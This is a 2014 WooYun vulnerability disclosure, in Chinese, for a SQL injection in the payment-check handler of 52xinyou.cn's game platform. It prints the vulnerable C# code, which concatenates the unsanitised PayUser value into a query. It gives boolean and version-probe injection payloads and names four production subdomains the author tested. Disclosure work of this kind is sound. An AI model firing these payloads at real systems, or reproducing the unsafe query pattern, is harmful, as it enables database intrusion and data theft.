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缺陷编号:wooyun-2014-062961

漏洞标题:信游科技页游平台程序又一枚通用型SQL注入

相关厂商:52xinyou.cn

漏洞作者: what_news

提交时间:2014-06-03 12:06

修复时间:2014-09-01 12:08

公开时间:2014-09-01 12:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2014-06-03: 细节已通知厂商并且等待厂商处理中
2014-06-03: 厂商已经确认,细节仅向厂商公开
2014-06-06: 细节向第三方安全合作伙伴开放
2014-07-28: 细节向核心白帽子及相关领域专家公开
2014-08-07: 细节向普通白帽子公开
2014-08-17: 细节向实习白帽子公开
2014-09-01: 细节向公众公开

简要描述:

通用性注入

详细说明:

漏洞页面地址

api/payment/checkparams.ashx


源码如下

<%@ WebHandler Language="C#" Class="com.xykj.pay.checkparams" %>
using System.Web;
using System.Text;
using System.Collections.Generic;
using System.Linq;
using System.Globalization;
namespace com.xykj.pay
{
/// <summary>
/// 检查用户信息
/// </summary>
public class checkparams : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
var param = context.Request.Params;
var r = context.Response;
var gid = param["GameId"];//游戏ID
var sid = param["ServerId"];//服务器ID
//r.Write("200");
//return;
try
{
/*** 判断能否使用该充值方式 *******/
var NotAllow = new string[] {
"gpay_epay_pay", "gpay_alipay_pay", "gpay_huanpay_pay",
"gpay_shengpay_pay","gpay_eaypay_pay","gpay_huipay_pay",
"gpay_xiuxian_pay","gpay_zhigame_pay","gpay_g265_pay","gpay_yeyou35_pay",
"gpay_boof_pay"};
var payawy = param["PayAwy"].ToLower();
if (payawy.StartsWith("ty")) payawy = payawy.Substring(2);
var payallow = "";
if (payawy.StartsWith("yee"))
payallow = "gpay_epay_pay";
else if (payawy.StartsWith("pt0"))
payallow = "gpay_shengpay_pay";
else if (payawy.StartsWith("epay"))
payallow = "gpay_eaypay_pay";
else if (payawy.StartsWith("hf"))
payallow = "gpay_huipay_pay";
else if (payawy.StartsWith("1073"))
payallow = "gpay_xiuxian_pay";
else if (payawy.StartsWith("zhigame"))
payallow = "gpay_zhigame_pay";
else if (payawy.StartsWith("alipay"))
payallow = "gpay_alipay_pay";
else if (payawy.StartsWith("hx"))
payallow = "gpay_huanpay_pay";
else if (payawy.StartsWith("g265"))
payallow = "gpay_g265_pay";
else if (payawy.StartsWith("yeyou35"))
payallow = "gpay_yeyou35_pay";
else if (payawy.StartsWith("boopay"))
payallow = "gpay_boof_pay";
business.View.Games.Port _port = new business.View.Games.Port();
var obj = _port.GetPayType(gid);
if (obj.Contains(payallow))
{
r.Write(string.Format("游戏:{0},不能使用该充值方式,请选择其他充值方式!", param["GameName"]));
return;
}
/**********/
/*** 参数检查 *********/
var useraccount = param["PayUser"]; //没处理
var user = new com.xykj.business.View.Account.Account().GetUserByAccount(useraccount); //跟进
if (user == null)
{
r.Write("用户不存在,请检查账户是否填写正确");
return;
}
if (user.State == (int)com.xykj.common.Enums.UserState.Delete)
{
r.Write("该用户被删除,已经不能登录,禁止充值");
return;
}
if (user.State == (int)com.xykj.common.Enums.UserState.Lock)
{
r.Write("该用户被锁定,暂时不能登录,禁止充值");
return;
}
if (user.State == (int)com.xykj.common.Enums.UserState.Loss)
{
r.Write("该用户已挂失,禁止充值");
return;
}
if (param["PayTo"] == "game")
{
var _game = new business.View.Games.Game();
var game = _game.GetGame(XY.ToInt(gid));
if (game.Count > 0)
{
if (!game[0].OnPay)
{
r.Write("该游戏被管理员设置为禁止充值状态");
return;
}
}
else
{
r.Write("游戏编号错误,请选择游戏");
return;
}
var _server = new business.View.Games.Server();
var server = _server.GetServer(XY.ToInt(sid));
if (server == null)
{
r.Write("服务器编号错误,请重新选择服务器");
return;
}
if (server.OnPay == false)
{
r.Write("该游戏服被管理员设置为禁止充值状态");
return;
}
/*#*#*#*#**#*#*#*#*#**#*#*#*#*#**#*#*#*#*#**#*/
/*** 检查用户是否在游戏中创建角色 ***********/
var port = _port.GetPortByGameId(server.GameId);
if (port == null)
{
r.Write("服务器未搭建完全,请稍后进行充值!");
return;
}
com.xykj.games.UserEngine _ge = new games.UserEngine();
var rest = _ge.PayGame(user, game[0], server, port, null);
if (rest != "-255")
{
r.Write("您未在该服务器建立角色,请确认充值服务器!");
return;
}
/*#*#*#*#**#*#*#*#*#**#*#*#*#*#**#*#*#*#*#**#*/
}
/************************************/
if (param["PayTo"] == "station")
{
if (param["PayAwy"] == "tystationpay")
{
r.Write("不能用 " + app.Setting("sys_station_moneyname") + " 充值 " + app.Setting("sys_station_moneyname"));
return;
}
if (param["PayAwy"].StartsWith("ty1073"))
{
r.Write("休闲游戏充值方式,只能用作游戏充值!");
return;
}
}
if ("tystationpay" == param["PayAwy"])
{
var currency = new com.xykj.business.Currency().GetMoney(user.ID);
if (currency == null || currency.CanCurrency < decimal.Parse(param["PayMoney"]))
{
r.Write(app.Setting("sys_station_moneyname") + "数量不足,请先充值" + app.Setting("sys_station_moneyname") + "!");
return;
}
var bseMoney = decimal.Parse(param["GetMoney"]);
if (bseMoney < decimal.Parse("1.000"))
{
r.Write("可获金币少于 1 元,不能充值!");
return;
}
}
var pay_setting_money = app.Setting("pay_setting_money").Split(new string[] { "\r\n", "\r", "\n" }, System.StringSplitOptions.RemoveEmptyEntries);
var mns = new Dictionary<int, string>();
foreach (var item in pay_setting_money)
{
if (item.Length < 2) continue;
var moneys = item.Split(new char[] { ':' });
mns.Add(XY.ToInt(moneys[0]), moneys[1]);
}
var pay_money = param["PayMoney"];
if (!mns.ContainsKey(XY.ToInt(pay_money)))//兑换的游戏币
{
r.Write("充值金额错误,请选择正确的金额");
return;
}
r.Write("200");
}
catch (System.Exception er)
{
context.Response.Write("系统<br/>" + er.Message);
}
}
public bool IsReusable { get { return false; } }
}
}


public xy_users GetUserByAccount(string account)
{
XY.Cache.Delete(XY.MD5("select * from xy_users where Account='" + account + "'"));
return this._user.GetUserByAccount(account); //没处理存在注入了
}


漏洞证明:

漏洞证明
先本地验证吧

http://192.168.1.108/api/payment/checkparams.ashx


提交

PayAwy=yee&gid=1&ServerId=2&PayUser=admin1


正常显示

531.png


提交

PayAwy=yee&gid=1&ServerId=2&PayUser=admin1' and 1=1 --


正常显示

53112.png


提交

PayAwy=yee&gid=1&ServerId=2&PayUser=admin1' and 1=2 --


5313.png


提交

PayAwy=yee&gid=1&ServerId=2&PayUser=admin1' and (select @@version)>0--


5314.png


下面测试官网几套代码 由于有安全狗 这里只证明存在注入了
第一套

http://xy001.52xinyou.cn/


5315.png


5316.png


5317.png


第二套

http://xy002.52xinyou.cn/


5321.png


5322.png


5323.png


第三套

http://xy003.52xinyou.cn


5324.png


5325.png


5326.png


第四套

http://xy006.52xinyou.cn


5327.png


5328.png


5329.png


可证明存在注入 但是有安全狗 不好进一步验证了 漏洞确实存在

修复方案:

对这个文件里的参数在进一步的处理吧

版权声明:转载请注明来源 what_news@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-06-03 12:14

厂商回复:

非常感激 已经安排修复 感谢各位白帽子 不断挖掘问题 让系统越来越完善

最新状态:

暂无